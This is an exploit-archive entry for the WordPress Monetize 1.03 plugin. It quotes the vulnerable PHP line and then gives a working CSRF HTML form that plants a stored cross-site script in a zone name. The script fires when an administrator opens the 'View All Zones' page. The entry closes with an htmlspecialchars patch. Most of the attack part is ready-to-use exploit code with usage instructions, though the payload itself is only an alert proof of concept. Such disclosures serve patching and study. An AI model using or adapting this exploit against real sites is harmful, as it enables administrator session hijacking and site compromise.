WordPress Monetize 1.03 Cross Site Request Forgery / Cross Site Scripting Vulnerabilities

2015-08-10T00:00:00
ID 1337DAY-ID-24005
Type zdt
Reporter Mahdi.Hidden
Modified 2015-08-10T00:00:00

Description

WordPress Monetize plugin version 1.03 suffers from cross site request forgery and cross site scripting vulnerabilities.

                                        
                                            ######################
# Exploit Title : Wordpress Monetize Plug-in XSS/CSRF
# Exploit Author : Ashiyane Digital Security Team
# Vendor Homepage : https://wordpress.org/plugins/monetize/
# Date: 2015-08-07
# Tested On : Kali Linux - FireFox
# Software Link : https://downloads.wordpress.org/plugin/monetize.zip
# Version : 1.03
######################
# Vulnerable Code:
File: class-monetize-zones-list-table.php - Line 45

$zone_name_link = '<a  
href="?page=monetize-zones&monetize-zone-id='.$item['zone_id'].'">'.$item['zone_name'].'</a>';
######################
# Exploit:

<form name="monetize-zone-new-edit-form" method="post"  
action="http://[URL]/[Path]/wp-admin/admin.php?page=monetize-zones-new">
<input style="width: 25em;" type="hidden"  
value='"><script>alert(/Mahdi.Hidden/)</script>'  
id="monetize-zone-name" name="monetize-zone-name" size="25"/>
<input type="hidden" value="222" name="monetize-zone-width" />
<input type="hidden" value="222" name="monetize-zone-height" />
<input type="hidden" value="222" name="monetize-zone-css" />
<input type="submit" value="Add New Zone" name="monetize-zone-new-edit" />
</form>

# Explain:

Use this exploit to add a "zone" which has malicious code and then if  
admin goes to page "View All Zones" (URL:  
/wp-admin/admin.php?page=monetize-zones) your code will execute.
######################
# Patch:
File: class-monetize-zones-list-table.php - Line 45

$zone_name_link = '<a  
href="?page=monetize-zones&monetize-zone-id='.$item['zone_id'].'">'.htmlspecialchars($item['zone_name']).'</a>';
######################
# Discovered By : Mahdi.Hidden
######################

#  0day.today [2018-01-05]  #